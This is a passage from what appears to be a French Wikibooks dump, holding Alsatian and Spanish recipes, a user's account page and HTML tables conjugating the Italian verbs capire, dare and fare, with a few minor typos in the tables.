qu'ils soient dorés. Les retirer et les mettre de côté. * Ajouter le beurre restant dans la cocotte pour y faire sauter les champignons. Lorsqu'ils commencent à dorer, ajouter les échalotes, le persil et l'ail. Laisser blondir quelques minutes à feu vif. * Saler et poivrer les morceaux de poulet, puis les remettre dans la cocotte. Mélanger. Verser le cognac et flamber avec une allumette. * Ajouter ensuite le riesling lorsque les flammes se sont éteintes. Laisser frémir 5 mn puis ajouter le bouillon de volaille. Assaisonner de sel, de poivre et de noix de muscade. Couvrir la cocotte et laisser mijoter 1h30 à feu doux en arrosant de temps en temps les morceaux de poulet. * Au dernier moment, fouetter le jaune d'œuf et la crème fraîche dans un bol. Verser dans la cocotte en mélangeant délicatement. Servir sans attendre. ==== Quelques conseils ==== On peut préparer ce plat à l'avance et le faire réchauffer au dernier moment ; comme tout plat mijoté, il n'en sera que meilleur. Dans ce cas, verser la liaison œuf - crème fraîche juste avant de servir. Accompagner ce plat typiquement alsacien de spetzle (pâtes alsaciennes vues sur la photo). ==== Vin conseillé ==== Un riesling, au bouquet intense, servi frais (9-10°C) s'accordera bien avec l'onctuosité de la sauce. == [[Cuisine:Fleischnacka|Fleischnacka]] == ==== Ingrédients ==== ===== Pour la pâte à nouilles ===== * 600g de farine * 5 Oeufs * Sel * 2 dl d'eau. ===== Pour la farce ===== * 1.200kg de viande hachée * 1 gros Oignon * 3 caieux d'ail * 50 g de persil * 2 oeufs * Un peu de muscade. ==== Préparation de la pâte à nouilles ==== * Travaillez la farine et les oeufs, ajoutez l'eau et le sel. * Pétrir l'ensemble. * Laissez reposer 1 heure. ==== Préparation de la farce ==== * Hachez l'oignon, le persil et l'ail. Mélangez le tout avec la viande, les oeufs, sel, poivre et un peu de muscade. * Abaissez la pâte pour former un rectangle. Répartir la farce. Roulez le tout. Soudez avec un peu d'eau et coupez des tranches pas trop épaisses. * Les faire dorer à l'huile. Mouillez avec 1 litre de bouillon de boeuf. Laissez cuire 20 minutes à feu doux. Servir avec une salade verte. ---- Retour [[Livre_de_Cuisine]] Cuisine:Paëlla 4054 15519 2005-07-01T18:36:11Z Antoinel 182 /* Préparation */ == Ingrédients == * 500g de poulet * 500g de lapin * 480g de riz * 350g de légumes (poivrons rouge et vert, haricots) * 24 escargots (optionnel) * 120g de tomates * 1.5L d'eau * Huîle d'olive, sel, paprika, safran == Préparation == # Nettoyer les escargots, le poulet et le lapin. Découper le poulet et le lapin en petits dés et les saler généreusement. # Verser un filet d'huile sur un plat à paëlla et le placer sur le feu, ajouter le poulet et le lapin. Après quelques minutes, ajouter la tomate. # Lorsque ces premiers ingrédients sont cuits, ajouter les autres légumes et réduire le feu. Ajouter le paprika. # Verser l'eau et amener à ébullition. Ajouter les escargots et le safran. Laisser quelques minutes. # Ajouter le riz. Réduire le feu. # Lorsque le riz est cuit, servir. [[en:Cookbook:Paella]] Antoinel:essai 4056 15521 2005-07-01T18:57:07Z Antoinel 182 {| style="background-color:#FFFFFF; align="center" cellpadding="3px" |- | colspan="5" align="center" bgcolor="#CAD2ff" | '''Mes différents comptes''' |- align="center" | [[Image:Commons-logo.png|50px]] | [[Image:Wikipedia-logo.png|50px]] | [[Image:Wikipedia-logo.png|50px]] | [[Image:Wikipedia-logo.png|50px]] |- bgcolor="#CAD2ff" align="center" font-size:small; | [[Wikimedia:User:Antoinel|Wikimedia]] | [[w:fr:Utilisateur:Antoinel|Wikipédia (français)]] | [[w:de:Benutzer:Antoinel|Wikipedia (allemand)]] | [[w:User:AntoineI|Wikipedia (anglais)]] |- align="center" | [[Image:Wikimedia-logo.png|50px]] | [[Image:Wikibooks-logo.png|50px]] | [[Image:Wikibooks-logo.png|50px]] | [[Image:Wikibooks-logo.png|50px]] |- bgcolor="#CAD2ff" align="center" font-size:small; | [[Wikimedia:User:Antoinel|Wikimedia]] | [[b:fr:Utilisateur:Antoinel|Wikilivres (français)]] | [[b:de:Benutzer:Antoinel|Wikibooks (allemand)]] | [[b:en:User:Antoinel|Wikibooks (anglais)]] |} Cuisine:Kouglof 4058 15523 2005-07-01T19:25:31Z Antoinel 182 Le ''kouglof'' ou ''kugelopf'' ou encore ''kougelhopf'' (en allemand ''Gugelhupf'') est une spécialité alsacienne. Il s'agit d'une brioche dont la forme est caractéristique. Il se prépare dans un moule spécial (visiter les poteries de Soufflenheim dans le Bas-Rhin), en terre émaillée. == Ingrédients == * 500 g de farine * 150 g de beurre * 150 g de sucre * 150 g de raisins de Corinthe * 20 g de levure de boulanger * 3 œufs * 20 cl de lait tiède * des amandes décortiquées * un peu de kirsch == Matériel == [[Image:Moule_kouglof.jpg|thumb|Le moule]]À noter qu'il existe des moules de tailles différentes, ces proportions sont pour un moule faisant approximativement 22 cm de diamètre (le plus courant), pour un moule de 26/27 cm il faut tout multiplier par 1,5. == Préparation == # Mettre les raisins dans un bol, arroser d'un peu de kirsh et d'eau tiède pour les recouvrir. # Délayer la levure dans la moitié du lait tiède, rajouter un peu de farine pour former le levain. # Mettre la farine dans un grand saladier, faire un puits au milieu, y déposer le levain, recouvrir, laisser monter. # Une heure après, verser le sucre, les œufs et le reste de lait dans le saladier, mélanger la pâte à la main en la soulevant pour l'aérer jusqu'à ce qu'elle se détache des bords du saladier (ça peut être long et fatigant). # Rajouter ensuite le beurre ramolli et coupé en morceaux, recommencer l'opération ci-dessus. # Finir par les raisins égouttés, aérer une dernière fois. # Laisser la pâte lever une première fois dans le saladier jusqu'à ce qu'elle ait doublé de volume. # Bien beurrer le moule, mettre des amandes au fond des cannelures, verser la pâte dedans et laisser lever une seconde fois jusqu'à ce que la pâte déborde presque du moule. # Mettre au four (thermostat 6-7) pendant 1 h. * Le temps que mettra la pâte à lever varie énormément en fonction de la température et de l'humidité ambiante, de même pour que la pâte se détache du saladier lorsqu'on l'aère. Mieux vaut s'armer de patience et avoir un bras musclé. ---- Retour aux [[Cuisine:Recettes de l'Alsace|recettes alsaciennes]] / aux [[Cuisine:Recettes de cuisine française|recettes françaises]] / au [[Livre_de_Cuisine|sommaire]] ---- Cuisine:Baeckeoffe 4059 15524 2005-07-01T19:29:47Z Antoinel 182 /* Préparation */ == Ingrédients == *0,7 kg de paleron de bœuf (il est possible d'utiliser du gîte) *0,7 kg d'épaule de porc *0,7 kg d'épaule d'agneau *1 queue ou 1 pied de porc (facultatif, mais cela améliore le plat) *1,4 kg de pommes de terre *400 g d'oignons *2 gousses d'ail *2 blancs de poireaux *3 grosses carottes *Persil, thym, laurier, baies de genièvre *75 cl de vin blanc d'Alsace, de préférence du pinot blanc *4 cl de cognac == Préparation == # Couper les carottes et les blancs de poireaux en grosses rondelles, éplucher les oignons et l'ail # Détailler les viandes en petits cubes et les faire mariner durant 24 heures dans le vin, les oignons et l'ail, les carottes, les poireaux et le cognac # Le lendemain, saler et poivrer la marinade # Éplucher et couper en cubes les pommes de terre # Émincer les oignons et l'ail # Déposer les ingrédients en couches uniformes et successives dans une grande terrine pouvant aller au four # Cuire à 170 °C (thermostat 5-6) durant 3 h 30 # Servir avec un riesling et une salade verte. ---- Retour aux [[Cuisine:Recettes de l'Alsace|recettes alsaciennes]] / aux [[Cuisine:Recettes de cuisine française|recettes françaises]] / au [[Livre_de_Cuisine|sommaire]] ---- Cuisine:Choucroute 4060 15525 2005-07-01T19:34:03Z Antoinel 182 /* Préparation */ [[Image:Zuurkool op bord.jpg|right|300px]] == Ingrédients == Les proportions suivantes sont données pour 4 à 6 personnes. Compte tenu du nombre d'ingrédients, il parait en effet difficile de réaliser une choucroute pour un nombre plus réduit de convives. * 750 g de choucroute * 500 g de pommes de terre * 300 g de collet (échine de porc) salé * 300 g de palette fumée * 4 paires de saucisses de Strasbourg, appelées «knacks» * 4 saucisses de Montbéliard, ou 4 gendarmes * 300 g de lard fumé et/ou salé * une dizaine de baies de genièvre * 1 oignon * 1 gousse d'ail * saindoux * vin blanc sec * sel, poivre == Préparation == # Macéré de longues semaines dans sa saumure, le chou doit en premier lieu être '''lavé soigneusement''' dans plusieurs eaux afin de le dessaler. Il est même recommandé de le blanchir, c’est-à-dire de le plonger quelques minutes dans l'eau bouillante après lui avoir fait subir un premier lavage sommaire à l'eau courante, puis de le rincer et de l'égouter. Il est alors prêt à être cuisiné. # Faire fondre l'oignon émincé dans le saindoux. Cette étape est facultative, on peut en effet aussi piquer un oignon avec des clous de girofle et le disposer au cœur de la choucroute. # Dans un faitout, disposer une bonne couche de choucroute, l'ail et l'oignon, puis les viandes à l'exception de celles qui nécessitent un autre mode de cuisson (voir ci-dessous), puis une nouvelle couche de choucroute. Mouiller abondamment avec un mélange de vin blanc sec et d'eau. # Les proportions du mélange sont affaire de goût, à défaut d'expérience on peut faire moitié eau, moitié vin. Le mouillage peut également être fait avec un mélange de bière blonde légère, par exemple de type Pils, et d'eau, selon le même principe. Assaisonner raisonnablement. # Mettre à cuire 1h30 à feu doux à moyen, de sorte que l'ensemble soit porté à ébullition. L'utilisation d'un autocuiseur permet de ramener le temps de cuisson à 3/4 h / 1 h, à compter de la mise sous pression. Ce plat peut être réchauffé avec bonheur en vue d'une consommation au cours des jours suivants, il prend en effet des arômes plus prononcés à chaque fois. # Accompagner de pommes de terre cuites à la vapeur et de knacks pochés (10 mn). # La composition de la choucroute fait l'objet de multiples variantes, selon les goûts et les traditions locales et familiales. C'est notamment le cas de la garniture qui peut parfaitement incorporer, outre les ingrédients ci-dessus: un jarret de porc, cuit avec la choucroute; du cervelas, à rajouter dans la choucroute 15/20 minutes avant la fin, ou à pocher à part (10 mn); du boudin noir, cuit à la poêle; des cotelettes de porc, cuites à la poêle; des quenelles de foie de porc, à pocher (10 mn). ---- Retour aux [[Cuisine:Recettes de l'Alsace|recettes alsaciennes]] / aux [[Cuisine:Recettes de cuisine française|recettes françaises]] / au [[Livre_de_Cuisine|sommaire]] ---- En "ire" - 2ième conjugaison - (Ex: capire - (comprendre)) 4061 15526 2005-07-02T15:23:04Z 213.228.45.140 <center>'''INDICATIF'''</center> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Imparfait'''</div> </td> <td bgcolor="#E6CCF2" width="27%"> <div align="center">'''Futur'''</div> </td> <td bgcolor="#BCE9A7" width="24%"> <div align="center">'''Pass&eacute; simple'''</div> </td> </tr> <tr> <td width="23%"> <div align="center">capisco</div> </td> <td width="26%"> <div align="center">capivo</div> </td> <td width="27%"> <div align="center">capir&ograve;</div> </td> <td width="24%"> <div align="center">capii</div> </td> </tr> <tr> <td width="23%"> <div align="center">capisci</div> </td> <td width="26%"> <div align="center">capivi</div> </td> <td width="27%"> <div align="center">capirai</div> </td> <td width="24%"> <div align="center">capisti</div> </td> </tr> <tr> <td width="23%"> <div align="center">capisce</div> </td> <td width="26%"> <div align="center">capiva</div> </td> <td width="27%"> <div align="center">capir&agrave;</div> </td> <td width="24%"> <div align="center">cap&igrave;</div> </td> </tr> <tr> <td width="23%"> <div align="center">capiamo</div> </td> <td width="26%"> <div align="center">capivamo</div> </td> <td width="27%"> <div align="center">capiremo</div> </td> <td width="24%"> <div align="center">capimmo</div> </td> </tr> <tr> <td width="23%"> <div align="center">capite</div> </td> <td width="26%"> <div align="center">capivate</div> </td> <td width="27%"> <div align="center">capirete</div> </td> <td width="24%"> <div align="center">capiste</div> </td> </tr> <tr> <td width="23%"> <div align="center">capiscono</div> </td> <td width="26%"> <div align="center">capivano</div> </td> <td width="27%"> <div align="center">capiranno</div> </td> <td width="24%"> <div align="center">capirono</div> </td> </tr> </table> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pass&eacute; compos&eacute;'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Plus-que-parfait'''</div> </td> <td bgcolor="#E6CCF2" width="27%"> <div align="center">'''Futur ant&eacute;rieur'''</div> </td> <td bgcolor="#BCE9A7" width="24%"> <div align="center">'''Pass&eacute; ant&eacute;rieur'''</div> </td> </tr> <tr> <td width="23%"> <div align="center">ho capito</div> <td width="26%"> <div align="center">avevo capito</div> </td> <td width="27%"> <div align="center">avr&ograve; capito</div> </td> <td width="24%"> <div align="center">ebbi capito</div> </td> </tr> <tr> <td width="23%"> <div align="center">hai capito</div> </td> <td width="26%"> <div align="center">avevi capito</div> </td> <td width="27%"> <div align="center">avrai capito</div> </td> <td width="24%"> <div align="center">avesti capito</div> </td> </tr> <tr> <td width="23%"> <div align="center">ha capito</div> </td> <td width="26%"> <div align="center">aveva capito</div> </td> <td width="27%"> <div align="center">avr&agrave; capito</div> </td> <td width="24%"> <div align="center">ebbe capito</div> </td> </tr> <tr> <td width="23%"> <div align="center">abbiamo capito</div> </td> <td width="26%"> <div align="center">avevamo capito</div> </td> <td width="27%"> <div align="center">avremo capito</div> </td> <td width="24%"> <div align="center">avemmo capito</div> </td> </tr> <tr> <td width="23%" height="13"> <div align="center">avete capito</div> </td> <td width="26%" height="13"> <div align="center">avevate capito</div> </td> <td width="27%" height="13"> <div align="center">avrete dcapito</div> </td> <td width="24%" height="13"> <div align="center">aveste capito</div> </td> </tr> <tr> <td width="23%"> <div align="center">hanno capito</div> </td> <td width="26%"> <div align="center">avevano capito</div> </td> <td width="27%"> <div align="center">avranno capito</div> </td> <td width="24%"> <div align="center">ebbero capito</div> </td> </tr> </table> <center>'''SUBJONCTIF'''</center> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Imparfait'''</div> </td> <td bgcolor="#E6CCF2" width="27%"> <div align="center">'''Pass&eacute;'''</div> </td> <td bgcolor="#BCE9A7" width="24%"> <div align="center">'''Plus-que-parfait'''</div> </td> </tr> <tr> <td width="23%"> <div align="center">capisca</div> </td> <td width="26%"> <div align="center">capissi</div> </td> <td width="27%"> <div align="center">abbia capito</div> </td> <td width="24%"> <div align="center">avessi capito</div> </td> </tr> <tr> <td width="23%"> <div align="center">capisca</div> </td> <td width="26%"> <div align="center">capissi</div> <td width="27%"> <div align="center">abbia capito</div> </td> <td width="24%"> <div align="center">avessi capito</div> </td> </tr> <tr> <td width="23%"> <div align="center">capisca</div> </td> <td width="26%"> <div align="center">capisse</div> </td> <td width="27%"> <div align="center">abbia capito</div> </td> <td width="24%"> <div align="center">avesse capito</div> </td> </tr> <tr> <td width="23%"> <div align="center">capiamo</div> </td> <td width="26%"> <div align="center">capissimo</div> </td> <td width="27%"> <div align="center">abbiamo capito</div> </td> <td width="24%"> <div align="center">avessimo capito</div> </td> </tr> <tr> <td width="23%" height="13"> <div align="center">capiate</div> </td> <td width="26%" height="13"> <div align="center">capiste</div> </td> <td width="27%" height="13"> <div align="center">abbiate capito</div> </td> <td width="24%" height="13"> <div align="center">aveste capito</div> </td> </tr> <tr> <td width="23%"> <div align="center">capiscano</div> </td> <td width="26%"> <div align="center">capissero</div> </td> <td width="27%"> <div align="center">abbiano capito</div> </td> <td width="24%"> <div align="center">avessero capito</div> </td> </tr> </table> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td height="52"> <div align="center">'''CONDITIONNEL'''</div> </td> <td width="27%" height="52"> <div align="center">'''IMP&Eacute;RATIF'''</div> </td> <td width="24%" height="52"> <div align="center">'''PARTICIPE PASS&Eacute;'''</div> </td> </tr> </table> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Pass&eacute;'''</div> </td> <td width="27%"> <div align="center"></div> </td> <td width="24%"> <div align="center"></div> </td> </tr> <tr> <td width="23%"> <div align="center">capirei</div> </td> <td width="26%"> <div align="center">avrei capito</div> </td> <td width="27%"> <div align="center"></div> </td> <td width="24%"> <div align="center">capito</div> </td> </tr> <tr> <td width="23%"> <div align="center">capiresti</div> </td> <td width="26%"> <div align="center">avresti capito</div> </td> <td width="27%"> <div align="center">capisci</div> </td> <td width="24%"> <div align="center"></div> </td> </tr> <tr> <td width="23%"> <div align="center">capirebbe</div> </td> <td width="26%"> <div align="center">avrebbe capito</div> </td> <td width="27%"> <div align="center">capisca</div> </td> <td width="24%"> <div align="center"></div> </td> </tr> <tr> <td width="23%"> <div align="center">capiremmo</div> </td> <td width="26%"> <div align="center">avremmo capito</div> </td> <td width="27%"> <div align="center">capiamo</div> </td> <td width="24%"> <div align="center"></div> </td> </tr> <tr> <td width="23%" height="13"> <div align="center">capireste</div> </td> <td width="26%" height="13"> <div align="center">avreste capito</div> </td> <td width="27%" height="13"> <div align="center">capite</div> </td> <td width="24%" height="13"> <div align="center"></div> </td> </tr> <tr> <td width="23%"> <div align="center">capirebbero</div> </td> <td width="26%"> <div align="center">avrebbero capito</div> </td> <td width="27%"> <div align="center">capiscano</div> </td> <td width="24%"> <div align="center"></div> </td> </tr> </table> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td height="52"> <div align="center">'''INFINITIF'''</div> </td> <td height="52"> <div align="center">'''G&Eacute;RONDIF'''</div> </td> </tr> </table> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Pass&eacute;'''</div> </td> <td width="27%" bgcolor="#E6CCF2"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td width="24%" bgcolor="#BCE9A7"> <div align="center">'''Pass&eacute;'''</div> </td> </tr> <tr> <td width="23%"> <div align="center"`>capire</div> <td width="26%"> <div align="center">avere capito</div> </td> <td width="27%"> <div align="center">capendo</div> </td> <td width="24%"> <div align="center">avendo capito</div> </td> </tr> </table> 1ère conjugaison - dare (donner) 4062 15527 2005-07-02T15:54:34Z Liquid Bird 382 <center>'''INDICATIF'''</center> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Imparfait'''</div> </td> <td bgcolor="#E6CCF2" width="27%"> <div align="center">'''Futur'''</div> </td> <td bgcolor="#BCE9A7" width="24%"> <div align="center">'''Pass&eacute; simple'''</div> </td> </tr> <tr> <td width="23%"> <div align="center">do</div> </td> <td width="26%"> <div align="center">davo</div> </td> <td width="27%"> <div align="center">dar&ograve;</div> </td> <td width="24%"> <div align="center">diedi ou detti</div> </td> </tr> <tr> <td width="23%"> <div align="center">dai</div> </td> <td width="26%"> <div align="center">davi</div> </td> <td width="27%"> <div align="center">darai</div> </td> <td width="24%"> <div align="center">desti</div> </td> </tr> <tr> <td width="23%"> <div align="center">d&agrave;</div> </td> <td width="26%"> <div align="center">dava</div> </td> <td width="27%"> <div align="center">dar&agrave;</div> </td> <td width="24%"> <div align="center">diede ou dette</div> </td> </tr> <tr> <td width="23%"> <div align="center">diamo</div> </td> <td width="26%"> <div align="center">davamo</div> </td> <td width="27%"> <div align="center">daremo</div> </td> <td width="24%"> <div align="center">demmo</div> </td> </tr> <tr> <td width="23%"> <div align="center">date</div> </td> <td width="26%"> <div align="center">davate</div> </td> <td width="27%"> <div align="center">darete</div> </td> <td width="24%"> <div align="center">deste</div> </td> </tr> <tr> <td width="23%"> <div align="center">danno</div> </td> <td width="26%"> <div align="center">davano</div> </td> <td width="27%"> <div align="center">daranno</div> </td> <td width="24%"> <div align="center">diedero ou dettero</div> </td> </tr> </table> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pass&eacute; compos&eacute;'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Plus-que-parfait'''</div> </td> <td bgcolor="#E6CCF2" width="27%"> <div align="center">'''Futur ant&eacute;rieur'''</div> </td> <td bgcolor="#BCE9A7" width="24%"> <div align="center">'''Pass&eacute; ant&eacute;rieur'''</div> </td> </tr> <tr> <td width="23%"> <div align="center">ho dato</div> <td width="26%"> <div align="center">avevo dato</div> </td> <td width="27%"> <div align="center">avr&ograve; dato</div> </td> <td width="24%"> <div align="center">ebbi dato</div> </td> </tr> <tr> <td width="23%"> <div align="center">hai dato</div> </td> <td width="26%"> <div align="center">avevi dato</div> </td> <td width="27%"> <div align="center">avrei dato</div> </td> <td width="24%"> <div align="center">avesti dato</div> </td> </tr> <tr> <td width="23%"> <div align="center">ha dato</div> </td> <td width="26%"> <div align="center">aveva dato</div> </td> <td width="27%"> <div align="center">avr&agrave; dato</div> </td> <td width="24%"> <div align="center">ebbe dato</div> </td> </tr> <tr> <td width="23%"> <div align="center">abbiamo dato</div> </td> <td width="26%"> <div align="center">avevamo dato</div> </td> <td width="27%"> <div align="center">avremo dato</div> </td> <td width="24%"> <div align="center">avemmo dato</div> </td> </tr> <tr> <td width="23%" height="13"> <div align="center">avete dato</div> </td> <td width="26%" height="13"> <div align="center">avevate dato</div> </td> <td width="27%" height="13"> <div align="center">avrete dato</div> </td> <td width="24%" height="13"> <div align="center">aveste dato</div> </td> </tr> <tr> <td width="23%"> <div align="center">hanno dato</div> </td> <td width="26%"> <div align="center">avevano dato</div> </td> <td width="27%"> <div align="center">avranno dato</div> </td> <td width="24%"> <div align="center">ebbero dato</div> </td> </tr> </table> <center>'''SUBJONCTIF'''</center> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Imparfait'''</div> </td> <td bgcolor="#E6CCF2" width="27%"> <div align="center">'''Pass&eacute;'''</div> </td> <td bgcolor="#BCE9A7" width="24%"> <div align="center">'''Plus-que-parfait'''</div> </td> </tr> <tr> <td width="23%"> <div align="center">dia</div> </td> <td width="26%"> <div align="center">dessi</div> </td> <td width="27%"> <div align="center">abbia dato</div> </td> <td width="24%"> <div align="center">avessi dato</div> </td> </tr> <tr> <td width="23%"> <div align="center">dia</div> </td> <td width="26%"> <div align="center">dessi</div> <td width="27%"> <div align="center">abbia dato</div> </td> <td width="24%"> <div align="center">avessi dato</div> </td> </tr> <tr> <td width="23%"> <div align="center">dia</div> </td> <td width="26%"> <div align="center">desse</div> </td> <td width="27%"> <div align="center">abbia dato</div> </td> <td width="24%"> <div align="center">avesse dato</div> </td> </tr> <tr> <td width="23%"> <div align="center">diamo</div> </td> <td width="26%"> <div align="center">dessimo</div> </td> <td width="27%"> <div align="center">abbiamo dato</div> </td> <td width="24%"> <div align="center">avessimo dato</div> </td> </tr> <tr> <td width="23%" height="13"> <div align="center">diate</div> </td> <td width="26%" height="13"> <div align="center">deste</div> </td> <td width="27%" height="13"> <div align="center">abbiate dato</div> </td> <td width="24%" height="13"> <div align="center">aveste dato</div> </td> </tr> <tr> <td width="23%"> <div align="center">diano</div> </td> <td width="26%"> <div align="center">dessero</div> </td> <td width="27%"> <div align="center">abbiano dato</div> </td> <td width="24%"> <div align="center">avessero dato</div> </td> </tr> </table> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td height="52"> <div align="center">'''CONDITIONNEL'''</div> </td> <td width="27%" height="52"> <div align="center">'''IMP&Eacute;RATIF'''</div> </td> <td width="24%" height="52"> <div align="center">'''PARTICIPE PASS&Eacute;'''</div> </td> </tr> </table> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Pass&eacute;'''</div> </td> <td width="27%"> <div align="center"></div> </td> <td width="24%"> <div align="center"></div> </td> </tr> <tr> <td width="23%"> <div align="center">darei</div> </td> <td width="26%"> <div align="center">avrei dato</div> </td> <td width="27%"> <div align="center"></div> </td> <td width="24%"> <div align="center">dato</div> </td> </tr> <tr> <td width="23%"> <div align="center">daresti</div> </td> <td width="26%"> <div align="center">avresti dato</div> </td> <td width="27%"> <div align="center">da'</div> </td> <td width="24%"> <div align="center"></div> </td> </tr> <tr> <td width="23%"> <div align="center">darebbe</div> </td> <td width="26%"> <div align="center">avrebbe dato</div> </td> <td width="27%"> <div align="center">dia</div> </td> <td width="24%"> <div align="center"></div> </td> </tr> <tr> <td width="23%"> <div align="center">daremmo</div> </td> <td width="26%"> <div align="center">avremmo dato</div> </td> <td width="27%"> <div align="center">diamo</div> </td> <td width="24%"> <div align="center"></div> </td> </tr> <tr> <td width="23%" height="13"> <div align="center">dareste</div> </td> <td width="26%" height="13"> <div align="center">avreste dato</div> </td> <td width="27%" height="13"> <div align="center">date</div> </td> <td width="24%" height="13"> <div align="center"></div> </td> </tr> <tr> <td width="23%"> <div align="center">darebbero</div> </td> <td width="26%"> <div align="center">avrebbero dato</div> </td> <td width="27%"> <div align="center">diano</div> </td> <td width="24%"> <div align="center"></div> </td> </tr> </table> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td height="52"> <div align="center">'''INFINITIF'''</div> </td> <td height="52"> <div align="center">'''G&Eacute;RONDIF'''</div> </td> </tr> </table> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Pass&eacute;'''</div> </td> <td width="27%" bgcolor="#E6CCF2"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td width="24%" bgcolor="#BCE9A7"> <div align="center">'''Pass&eacute;'''</div> </td> </tr> <tr> <td width="23%"> <div align="center"`>dare</div> <td width="26%"> <div align="center">avere dato</div> </td> <td width="27%"> <div align="center">dando</div> </td> <td width="24%"> <div align="center">avendo dato</div> </td> </tr> </table> 1ère conjugaison - fare (faire) 4063 43096 2006-05-24T14:53:16Z 194.147.254.37 <center>'''INDICATIF'''</center> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Imparfait'''</div> </td> <td bgcolor="#E6CCF2" width="27%"> <div align="center">'''Futur'''</div> </td> <td bgcolor="#BCE9A7" width="24%"> <div align="center">'''Pass&eacute; simple'''</div> </td> </tr> <tr> <td width="23%"> <div align="center">faccio</div> </td> <td width="26%"> <div align="center">facevo</div> </td> <td width="27%"> <div align="center">far&ograve;</div> </td> <td width="24%"> <div align="center">feci</div> </td> </tr> <tr> <td width="23%"> <div align="center">fai</div> </td> <td width="26%"> <div align="center">facevi</div> </td> <td width="27%"> <div align="center">farai</div> </td> <td width="24%"> <div align="center">facesti</div> </td> </tr> <tr> <td width="23%"> <div align="center">fa</div> </td> <td width="26%"> <div align="center">faceva</div> </td> <td width="27%"> <div align="center">far&agrave;</div> </td> <td width="24%"> <div align="center">fece</div> </td> </tr> <tr> <td width="23%"> <div align="center">facciamo</div> </td> <td width="26%"> <div align="center">facevamo</div> </td> <td width="27%"> <div align="center">faremo</div> </td> <td width="24%"> <div align="center">facemmo</div> </td> </tr> <tr> <td width="23%"> <div align="center">fate</div> </td> <td width="26%"> <div align="center">facevate</div> </td> <td width="27%"> <div align="center">farete</div> </td> <td width="24%"> <div align="center">faceste</div> </td> </tr> <tr> <td width="23%"> <div align="center">fanno</div> </td> <td width="26%"> <div align="center">facevano</div> </td> <td width="27%"> <div align="center">faranno</div> </td> <td width="24%"> <div align="center">fecero</div> </td> </tr> </table> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pass&eacute; compos&eacute;'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Plus-que-parfait'''</div> </td> <td bgcolor="#E6CCF2" width="27%"> <div align="center">'''Futur ant&eacute;rieur'''</div> </td> <td bgcolor="#BCE9A7" width="24%"> <div align="center">'''Pass&eacute; ant&eacute;rieur'''</div> </td> </tr> <tr> <td width="23%"> <div align="center">ho fatto</div> <td width="26%"> <div align="center">avevo fatto</div> </td> <td width="27%"> <div align="center">avr&ograve; fatto</div> </td> <td width="24%"> <div align="center">ebbi fatto</div> </td> </tr> <tr> <td width="23%"> <div align="center">hai fatto</div> </td> <td width="26%"> <div align="center">avevi fatto</div> </td> <td width="27%"> <div align="center">avrei fatto</div> </td> <td width="24%"> <div align="center">avesti fatto</div> </td> </tr> <tr> <td width="23%"> <div align="center">ha fatto</div> </td> <td width="26%"> <div align="center">aveva fatto</div> </td> <td width="27%"> <div align="center">avr&agrave; fatto</div> </td> <td width="24%"> <div align="center">ebbe fatto</div> </td> </tr> <tr> <td width="23%"> <div align="center">abbiamo fatto</div> </td> <td width="26%"> <div align="center">avevamo fatto</div> </td> <td width="27%"> <div align="center">avremo fatto</div> </td> <td width="24%"> <div align="center">avemmo fatto</div> </td> </tr> <tr> <td width="23%" height="13"> <div align="center">avete fatto</div> </td> <td width="26%" height="13"> <div align="center">avevate fatto</div> </td> <td width="27%" height="13"> <div align="center">avrete fatto</div> </td> <td width="24%" height="13"> <div align="center">aveste fatto</div> </td> </tr> <tr> <td width="23%"> <div align="center">hanno fatto</div> </td> <td width="26%"> <div align="center">avevano fatto</div> </td> <td width="27%"> <div align="center">avranno fatto</div> </td> <td width="24%"> <div align="center">ebbero fatto</div> </td> </tr> </table> <center>'''SUBJONCTIF'''</center> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div 